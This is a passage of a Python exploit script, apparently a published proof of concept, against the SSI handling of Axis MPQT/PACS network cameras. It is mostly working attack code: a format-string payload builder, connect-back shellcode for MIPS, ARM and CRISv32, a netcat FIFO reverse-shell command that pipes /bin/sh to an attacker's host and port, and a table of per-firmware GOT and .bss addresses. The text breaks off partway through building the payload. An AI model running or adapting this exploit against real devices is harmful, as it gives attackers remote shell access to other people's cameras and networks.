	def AddDirectParameterHHN(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('$hhn')

	# Addressing
	def AddADDR(self, ADDR):
		self.Add('%')
		self.Add(str(ADDR))
		self.Add('u')

	# 'Old Style' POP
	def AddPOP(self, size):
		if size != 0:
			self.Add(self.POP * size)

	# Normally only one will be sent, multiple is good to quick-check for any FMS
	#
	# 'Old Style' Double word (8 bytes)
	def AddWRITElln(self, size):
			self.Add(self.WRITElln * size)

	# 'Old Style' Word (4 bytes)
	def AddWRITEn(self, size):
			self.Add(self.WRITEn * size)

	# 'Old Style' Half word (2 bytes)
	def AddWRITEhn(self, size):
			self.Add(self.WRITEhn * size)

	# 'Old Style' One byte (1 byte)
	def AddWRITEhhn(self, size):
			self.Add(self.WRITEhhn * size)

	# Return the whole FMS string
	def FMSbuild(self):
		return self.fmscode

class HTTPconnect:

	def __init__(self, host, proto, verbose, creds, noexploit):
		self.host = host
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.noexploit = noexploit
	
	# Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\t','$','`' etc..
	def RAW(self, uri):
		# Connect-timeout in seconds
		timeout = 5
		socket.setdefaulttimeout(timeout)
		
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		tmp = self.host.split(':')
		HOST = tmp[0]
		PORT = int(tmp[1])
		if self.verbose:
			print "[Verbose] Sending to:", HOST
			print "[Verbose] Port:", PORT
			print "[Verbose] URI:",uri
		s.connect((HOST, PORT))
		s.send("GET %s HTTP/1.0\r\n\r\n" % uri)
		html = (s.recv(4096)) # We really do not care whats coming back
#		if html:
#			print "[i] Received:",html
		s.shutdown(3)
		s.close()
		return html


	def Send(self, uri):

		# The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually
		# matter for the functionality of this exploit, only for future references.
		headers = { 
			'User-Agent' : 'MSIE',
		}

		# Connect-timeout in seconds
		timeout = 5
		socket.setdefaulttimeout(timeout)

		url = '%s://%s%s' % (self.proto, self.host, uri)

		if self.verbose:
			print "[Verbose] Sending:", url

		if self.proto == 'https':
			if hasattr(ssl, '_create_unverified_context'):
				print "[i] Creating SSL Default Context"
				ssl._create_default_https_context = ssl._create_unverified_context

		if self.credentials:
			Basic_Auth = self.credentials.split(':')
			if self.verbose:
				print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]
			try:
				pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
				opener = urllib2.build_opener(auth_handler)
				urllib2.install_opener(opener)
			except Exception as e:
				print "[!] Basic Auth Error:",e
				sys.exit(1)

		if self.noexploit and not self.verbose:
			print "[<] 204 Not Sending!"
			html =  "Not sending any data"
		else:
			data = None
			req = urllib2.Request(url, data, headers)
			rsp = urllib2.urlopen(req)
			if rsp:
				print "[<] %s OK" % rsp.code
				html = rsp.read()
		return html


class shellcode_db:

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose

	def sc(self,target):
		self.target = target


# Connect back shellcode
#
# CRISv32: Written by myself, no shellcode availible out on "The Internet"
# NCSH: My PoC of netcat FIFO / PIPE reverese shell, w/o '-e' option and with $IFS as separators
# MIPSel: Written by Jacob Holcomb (url encoded by me)
# ARM: http://shell-storm.org/shellcode/files/shellcode-754.php
#
		# Slightly modified syscall's
		MIPSel = string.join([
		#close stdin
		"%ff%ff%04%28" #slti	a0,zero,-1
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall	0xdfdfd
		#close stdout
		"%11%11%04%28" #slti	a0,zero,4369
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#close stderr
		"%fd%ff%0c%24" #li	t4,-3
		"%27%20%80%01" #nor	a0,t4,zero
		"%a6%0f%02%24" #li	v0,4006
		"%4c%f7%f7%03" #syscall 0xdfdfd
		# socket AF_INET (2)
		"%fd%ff%0c%24" #li	t4,-3
		"%27%20%80%01" #nor	a0,t4,zero
		"%27%28%80%01" #nor	a1,t4,zero
		"%ff%ff%06%28" #slti	a2,zero,-1
		"%57%10%02%24" #li	v0,4183
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		"%ff%ff%44%30" # andi $a0, $v0, 0xFFFF
		#
		# dup2 stdout
		"%c9%0f%02%24" #li	v0,4041
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		# dup2 stderr
		"%c9%0f%02%24" #li	v0,4041
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		# Port
		"PP1PP0%05%3c"
		"%01%ff%a5%34"
		#
		"%01%01%a5%20" #addi	a1,a1,257
		"%f8%ff%a5%af" #sw	a1,-8(sp)
		#
		# IP
		"IP3IP4%05%3c"
		"IP1IP2%a5%34"
		#
		"%fc%ff%a5%af" #sw	a1,-4(sp)
		"%f8%ff%a5%23" #addi	a1,sp,-8
		"%ef%ff%0c%24" #li	t4,-17
		"%27%30%80%01" #nor	a2,t4,zero
		"%4a%10%02%24" #li	v0,4170
		"%4c%f7%f7%03" #syscall 0xdfdfd
		#
		"%62%69%08%3c" #lui	t0,0x6962
		"%2f%2f%08%35" #ori	t0,t0,0x2f2f
		"%ec%ff%a8%af" #sw	t0,-20(sp)
		"%73%68%08%3c" #lui	t0,0x6873
		"%6e%2f%08%35" #ori	t0,t0,0x2f6e
		"%f0%ff%a8%af" #sw	t0,-16(sp
		"%ff%ff%07%28" #slti	a3,zero,-1
		"%f4%ff%a7%af" #sw	a3,-12(sp)
		"%fc%ff%a7%af" #sw	a3,-4(sp
		"%ec%ff%a4%23" #addi	a0,sp,-20
		"%ec%ff%a8%23" #addi	t0,sp,-20
		"%f8%ff%a8%af" #sw	t0,-8(sp)
		"%f8%ff%a5%23" #addi	a1,sp,-8
		"%ec%ff%bd%27" #addiu	sp,sp,-20
		"%ff%ff%06%28" #slti	a2,zero,-1
		"%ab%0f%02%24" #li	v0,4011 (execve)
		"%4c%f7%f7%03" #syscall 0xdfdfd
		], '')	

		# Working netcat shell
		# - $PATH will locate 'mkfifo', 'nc' and 'rm'
		# - LHOST / LPORT will be changed on the fly later in the code
		# - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting
		# - $IFS = <space><tab><newline> [By default, and we need <space> or <tab> as separator]
		# $ echo -n "$IFS" | hexdump -C
		# 00000000  20 09 0a
		# - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c]
		#
		# '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator
		#
		# Working with Apache and Boa
#		NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1"
		NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0</tmp/s|/bin/sh>/tmp/s;rm$IFS/tmp/s;$PS1"

		ARMel = string.join([
		# original: http://shell-storm.org/shellcode/files/shellcode-754.php
		# 32-bit instructions, enter thumb mode
		"%01%10%8f%e2"	# add r1, pc, #1
		"%11%ff%2f%e1"	# bx r1

		# 16-bit thumb instructions follow
		#
		# socket(2, 1, 0)
		"%02%20"	#mov     r0, #2
		"%01%21"	#mov     r1, #1
		"%92%1a"	#sub     r2, r2, r2
		"%0f%02"	#lsl     r7, r1, #8
		"%19%37"	#add     r7, r7, #25
		"%01%df"	#svc     1
		#
		# connect(r0, &addr, 16)
		"%06%1c"	#mov     r6, r0
		"%08%a1"	#add     r1, pc, #32
		"%10%22"	#mov     r2, #16
		"%02%37"	#add     r7, #2
		"%01%df"	#svc     1
		#
		# dup2(r0, 0/1/2)
		"%3f%27"	#mov     r7, #63
		"%02%21"	#mov     r1, #2
		#
		#lb:
		"%30%1c"	#mov     r0, r6
		"%01%df"	#svc     1
		"%01%39"	#sub     r1, #1
		"%fb%d5"	#bpl     lb
		#
		# execve("/bin/sh", ["/bin/sh", 0], 0)
		"%05%a0"	#add     r0, pc, #20
		"%92%1a"	#sub     r2, r2, r2
		"%05%b4"	#push    {r0, r2}
		"%69%46"	#mov     r1, sp
		"%0b%27"	#mov     r7, #11
		"%01%df"	#svc     1
		#
		"%c0%46"	# .align 2 (NOP)
		"%02%00"	# .short 0x2		(struct sockaddr)
		"PP1PP0"	# .short 0x3412		(port: 0x1234)
		"IP1IP2IP3IP4"	#.byte 192,168,57,1	(ip: 192.168.57.1)
		# .ascii "/bin/sh\0\0"
		"%2f%62%69%6e"	# /bin
		"%2f%73%68%00%00"	# /sh\x00\x00
		"%00%00%00%00"
		"%c0%46"
		], '')	


		# Connect-back shell for Axis CRISv32
		# Written by mcw noemail eu 2016
		#
		CRISv32 = string.join([
		#close(0)
		"%7a%86"		# clear.d r10 
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#close(1)
		"%41%a2"		# moveq 1,r10
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#close(2)
		"%42%a2"		# moveq 2,r10
		"%5f%9c%06%00"		# movu.w 0x6,r9
		"%3d%e9"		# break 13
		#
		"%10%e1"		# addoq 16,sp,acr
		"%42%92"		# moveq 2,r9
		"%df%9b"		# move.w r9,[acr]
		"%10%e1"		# addoq 16,sp,acr
		"%02%f2"		# addq 2,acr
		#PORT
		"%5f%9ePP1PP0"		# move.w 0xPP1PP0,r9 #
		"%df%9b"		# move.w r9,[acr]
		"%10%e1"		# addoq 16,sp,acr
		"%6f%96"		# move.d acr,r9
		"%04%92"		# addq 4,r9
		#IP
		"%6f%feIP1IP2IP3IP4"	# move.d IP4IP3IP2IP1,acr
		"%e9%fb"		# move.d acr,[r9]
		#
		#socket()
		"%42%a2"		# moveq 2,r10
		"%41%b2"		# moveq 1,r11
		"%7c%86"		# clear.d r12
		"%6e%96"		# move.d $sp,$r9
		"%e9%af"		# move.d $r10,[$r9+]
		"%e9%bf"		# move.d $r11,[$r9+]
		"%e9%cf"		# move.d $r12,[$r9+]
		"%41%a2"		# moveq 1,$r10
		"%6e%b6"		# move.d $sp,$r11
		"%5f%9c%66%00"		# movu.w 0x66,$r9
		"%3d%e9"		# break 13
		#
		"%6a%96"		# move.d $r10,$r9
		"%0c%e1"		# addoq 12,$sp,$acr
		"%ef%9b"		# move.d $r9,[$acr]
		"%0c%e1"		# addoq 12,$sp,$acr
		"%6e%96"		# move.d $sp,$r9
		"%10%92"		# addq 16,$r9
		"%6f%aa"		# move.d [$acr],$r10
		"%69%b6"		# move.d $r9,$r11
		"%50%c2"		# moveq 16,$r12
		#
		# connect()
		"%6e%96"		# move.d $sp,$r9
		"%e9%af"		# move.d $r10,[$r9+]
		"%e9%bf"		# move.d $r11,[$r9+]
		"%e9%cf"		# move.d $r12,[$r9+]
		"%43%a2"		# moveq 3,$r10
		"%6e%b6"		# move.d $sp,$r11
		"%5f%9c%66%00"		# movu.w 0x66,$r9 
		"%3d%e9"		# break 13
		# dup(0) already in socket
		#dup(1)
		"%6f%aa"		# move.d [$acr],$r10
		"%41%b2"		# moveq 1,$r11
		"%5f%9c%3f%00"		# movu.w 0x3f,$r9
		"%3d%e9"		# break 13
		#
		#dup(2)
		"%6f%aa"		# move.d [$acr],$r10
		"%42%b2"		# moveq 2,$r11
		"%5f%9c%3f%00"		# movu.w 0x3f,$r9
		"%3d%e9"		# break 13
		#
		#execve("/bin/sh",NULL,NULL)
		"%90%e2"		# subq 16,$sp
		"%6e%96"		# move.d $sp,$r9
		"%6e%a6"		# move.d $sp,$10
		"%6f%0e%2f%2f%62%69"	# move.d 69622f2f,$r0
		"%e9%0b"		# move.d $r0,[$r9]
		"%04%92"		# addq 4,$r9
		"%6f%0e%6e%2f%73%68"	# move.d 68732f6e,$r0
		"%e9%0b"		# move.d $r0,[$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%04%92"		# addq 4,$r9
		"%e9%ab"		# move.d $r10,[$r9]
		"%04%92"		# addq 4,$r9
		"%79%8a"		# clear.d [$r9]
		"%10%e2"		# addq 16,$sp
		"%6e%f6"		# move.d $sp,$acr
		"%6e%96"		# move.d $sp,$r9
		"%6e%b6"		# move.d $sp,$r11
		"%7c%86"		# clear.d $r12
		"%4b%92"		# moveq 11,$r9
		"%3d%e9"		# break 13
			], '')	


		if self.target == 'MIPSel':
			return MIPSel
		elif self.target == 'ARMel':
			return ARMel
		elif self.target == 'CRISv32':
			return CRISv32
		elif self.target == 'NCSH1':
			return NCSH
		elif self.target == 'NCSH2':
			return NCSH
		else:
			print "[!] Unknown shellcode! (%s)" % str(self.target)
			sys.exit(1)


class FMSdb:

	def __init__(self,targetIP,verbose):
		self.targetIP = targetIP
		self.verbose = verbose

	def FMSkey(self,target):
		self.target = target

		target_db = {

#-----------------------------------------------------------------------
# All pointing from free() GOT to shellcode on .bss (Except ARM with NCSH)
#-----------------------------------------------------------------------

#
# Using POP format string, AKA 'Old Style'
#
		# MPQT
		'MIPS-5.85.x':	 [
				0x41f370,	# Adjust to GOT free() address
				0x420900,	# .bss shellcode address
				2,		# 1st POP's
				2,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.40.3': [
				0x41e41c,	# Adjust to GOT free() address
				0x4208cc,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'ax',		# Aligns injected code
				450,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.4x': [	
				0x41e4cc,	# Adjust to GOT free() address
				0x42097c,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'ax',		# Aligns injected code
				450,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.5x': [
				0x41d11c,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				5,		# 1st POP's
				15,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.55x': [	
				0x41d11c,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				11,		# 1st POP's
				9,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# Shared with MPQT and PACS
		'MIPS-5.6x': [	
				0x41d048,	# Adjust to GOT free() address
				0x41f728,	# .bss shellcode address
				5,		# 1st POP's
				15,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type

		],

		# MPQT
		'MIPS-5.7x': [	
				0x41d04c,	# Adjust to GOT free() address
				0x41f718,	# .bss shellcode address
				2,		# 1st POP's
				14,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.75x': [
				0x41c498,	# Adjust to GOT free() address
				0x41daf0,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# Shared with MPQT and PACS
		'MIPS-5.8x': [
				0x41d0c0,	# Adjust to GOT free() address
				0x41e740,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-5.9x': [ 
				0x41d0c0,	# Adjust to GOT free() address
				0x41e750,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.1x': [
				0x41c480,	# Adjust to GOT free() address
				0x41dac0,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.2x': [
				0x41e578,	# Adjust to GOT free() address
				0x41fae0,	# .bss shellcode address
				2,		# 1st POP's
				2,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# MPQT
		'MIPS-6.20x': [
				0x41d0c4,	# Adjust to GOT free() address
				0x41e700,	# .bss shellcode address
				3,		# 1st POP's
				13,		# 2nd POP's
				'axi',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# PACS
		'MIPS-1.3x': [
				0x41e4cc,	# Adjust to GOT free() address
				0x420a78,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

		# PACS
		'MIPS-1.1x': [
				0x41e268,	# Adjust to GOT free() address
				0x420818,	# .bss shellcode address
				7,		# 1st POP's
				11,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'MIPSel'	# Shellcode type
		],

#
# Tested with execstack to set executable stack flag bit on bin's and lib's
#
# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.
#

		# ARMel with bin/libs executable stack flag set with 'execstack'
		# MPQT
		'ARM-5.50x': [			# 
				0x1c1b4,	# Adjust to GOT free() address
				0x1e7c8,	# .bss shellcode address
				93,		# 1st POP's
				1,		# 2nd POP's
				'axis',		# Aligns injected code
				700,		# How big buffer before shellcode
				'ARMel'		# Shellcode type (ARMel)
		],

		# ARMel with bin/libs executable stack flag set with 'execstack'
		# MPQT
		'ARM-5.55x': [			# 
				0x1c15c,	# Adjust to GOT free() address
				0x1e834,	# .bss shellcode address
				59,		# 1st POP's
				80,		# 2nd POP's
				'axis',		# Aligns injected code
				800,		# How big buffer before shellcode
				'ARMel'		# Shellcode type (ARMel)
		],

#
# Using direct parameter access format string, AKA 'New Style'
#
		# MPQT
		'ARM-NCSH-5.20x': [		# AXIS P1311 5.20 (id=root)
				0x1c1b4,	# Adjust to GOT free() address
				0x10178,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.2x': [		# 
				0x1c1b4,	# Adjust to GOT free() address
				0x1013c,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.4x': [		# 
				0x1c1b4,	# Adjust to GOT free() address
				0x101fc,	# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				61,		# 1st POP's
				115,		# 2nd POP's
				143,		# 3rd POP's
				118,		# 4th POP's
				'NCSH2'		# Shellcode type (Netcat Shell)
		],
#
# Using POP format string, AKA 'Old Style'
#

		# MPQT
		'ARM-NCSH-5.5x': [		# 
				0x1c15c,	# Adjust to GOT free() address
				0xfdcc,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				97,		# 1st POP's
				0,		# 2nd POP's
				41,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.6x': [		# 
				0x1c15c,	# Adjust to GOT free() address
				0xfcec,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				97,		# 1st POP's
				0,		# 2nd POP's
				41,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-5.7x': [		# 
				0x1c1c0,	# Adjust to GOT free() address
				0xf800,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				132,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				0,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# Will go in endless loop after exit of nc shell... DoS sux
		# MPQT
		'ARM-NCSH-5.8x': [		# 
				0x1b39c,	# Adjust to GOT free() address
				0xf8c0,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				98,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				1,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],

		# MPQT
		'ARM-NCSH-6.1x': [		# 
				0x1d2a4,	# Adjust to GOT free() address
#				0xecc4,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				0xecc8,		# Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
				106,		# 1st POP's
				0,		# 2nd POP's
				34,		# 3rd POP's
				1,		# 4th POP's
				'NCSH1'		# Shellcode type (Netcat Shell)
		],
#
# Using POP format string, AKA 'Old Style'
#

		# MPQT
		'CRISv32-5.5x': [		# 
				0x8d148,	# Adjust to GOT free() address
				0x8f5a8,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.4x': [		# 
				0x8d0e0,	# Adjust to GOT free() address
				0x8f542,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.2x': [		# 
				0x8d0b4,	# Adjust to GOT free() address
				0x8f4d6,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		],

		# MPQT
		'CRISv32-5.20.0': [		# 
				0x8d0e4,	# Adjust to GOT free() address
				0x8f546,	# .bss shellcode address
				4,		# 1st POP's
				13,		# 2nd POP's
				'axis',		# Aligns injected code
				470,		# How big buffer before shellcode
				'CRISv32'	# Shellcode type (Crisv32)
		]


	}

		if self.target == 0:
			return target_db
			
		if not self.target in target_db:
			print "[!] Unknown FMS key: %s!" % self.target
			sys.exit(1)
	
		if self.verbose:
			print "[Verbose] Number of availible FMS keys:",len(target_db)

		return target_db


#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
		i = int(tmp)
		if i < 0 or i > 255:
			return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
			# Or we check again if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False



if __name__ == '__main__':

#
# Help, info and pre-defined values
#	
	INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'
	HTTP = "http"
	HTTPS = "https"
	proto = HTTP
	verbose = False
	noexploit = False
	lhost = '192.168.0.1'	# Default Local HOST
	lport = '31337'		# Default Local PORT
	rhost = '192.168.0.90'	# Default Remote HOST
	rport = '80'		# Default Remote PORT
	#  Not needed for the SSI exploit, here for possible future usage.
#	creds = 'root:pass'
	creds = False

#
# Try to parse all arguments
#
	try:
		arg_parser = argparse.ArgumentParser(
#		prog=sys.argv[0],
		prog='axis-ssid-PoC.py',
                description=('[*]' + INFO + '\n'))
		arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
		arg_parser.add_argument('--fms', required=False, help='Manual FMS key')
		if creds:
			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
		arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
		arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
		arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS keys and stats from dictionary, additional details with --verbose')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: %s\n" % str(e)
		sys.exit(1)

	# We want at least one argument, so print out help
	if len(sys.argv) == 1:
		arg_parser.parse_args(['-h'])

	print "\n[*]",INFO

	if args.verbose:
		verbose = args.verbose

	# Print out info from dictionary
	if args.dict:
		target = FMSdb(rhost,verbose).FMSkey(0)
		print "[db] Number of FMS keys:",len(target)

		# Print out detailed info from dictionary
		if verbose:

			print "[db] Target details of FMS Keys availible for manual xploiting"
			print "\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]"

			for tmp in range(0,len(target)):
				Key = sorted(target.keys())[tmp]
				temp = re.split('[-]',Key)[0:10]

				if temp[1] == 'NCSH':
					print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6]

			print "\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]"
			for tmp in range(0,len(target)):
				Key = sorted(target.keys())[tmp]
				temp = re.split('[-]',Key)[0:10]

				if temp[1] != 'NCSH':
					print Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6]

			print "\n"
		else:
			print "[db] Target FMS Keys availible for manual xploiting instead of using auto mode:"
			Key = ""
			for tmp in range(0,len(target)):
				Key += sorted(target.keys())[tmp]
				Key += ', '
			print '\n',Key,'\n'
		sys.exit(0)

#
# Check validity, update if needed, of provided options
#
	if args.https:
		proto = HTTPS
		if not args.rport:
			rport = '443'

	if creds and args.auth:
		creds = args.auth

	if args.noexploit:
		noexploit = args.noexploit

	if args.rport:
		rport = args.rport

	if args.rhost:
		rhost = args.rhost

	if args.lport:
		lport = args.lport

	if args.lhost:
		lhost = args.lhost

	# Check if LPORT is valid
	if not Validate(verbose).Port(lport):
		print "[!] Invalid LPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RPORT is valid
	if not Validate(verbose).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if LHOST is valid IP or FQDN, get IP back
	lhost = Validate(verbose).Host(lhost)
	if not lhost:
		print "[!] Invalid LHOST"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)


#
# Validation done, start print out stuff to the user
#
	if noexploit:
		print "[i] Test mode selected, no exploiting..."
	if args.https:
		print "[i] HTTPS / SSL Mode Selected"
	print "[i] Remote target IP:",rhost
	print "[i] Remote target PORT:",rport
	print "[i] Connect back IP:",lhost
	print "[i] Connect back PORT:",lport

	rhost = rhost + ':' + rport

#
# FMS key is required into this PoC
#
	if not args.fms:
		print "[!] FMS key is required!"
		sys.exit(1)
	else:
		Key = args.fms
		print "[i] Trying with FMS key:",Key

#
# Prepare exploiting
#
	# Look up the FMS key in dictionary and return pointer for FMS details to use
	target = FMSdb(rhost,verbose).FMSkey(Key)

	if target[Key][6] == 'NCSH1':
		NCSH1 = target[Key][6]
		NCSH2 = ""
	elif target[Key][6] == 'NCSH2':
		NCSH2 = target[Key][6]
		NCSH1 = ""
	else:
		NCSH1 = ""
		NCSH2 = ""
	
	if Key == 'ARM-NCSH-5.8x':
		print "\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm exiting before that shit....\n\n"
		sys.exit(0)

	print "[i] Preparing shellcode:",str(target[Key][6])

	# We don't use url encoded shellcode with Netcat shell
	# This is for MIPS/CRISv32 and ARM shellcode
	if not NCSH1 and not NCSH2:
		FMSdata = target[Key][4]		# This entry aligns the injected shellcode

		# Building up the url encoded shellcode for sending to the target,
		# and replacing LHOST / LPORT in shellcode to choosen values
		
		# part of first 500 decoded bytes will be overwritten during stage #2, and since
		# there is different 'tailing' on the request internally, keep it little more than needed, to be safe.
		# Let it be 0x00, just for fun.
		FMSdata += '%00' * target[Key][5]

		# Connect back IP to url encoded
		ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))
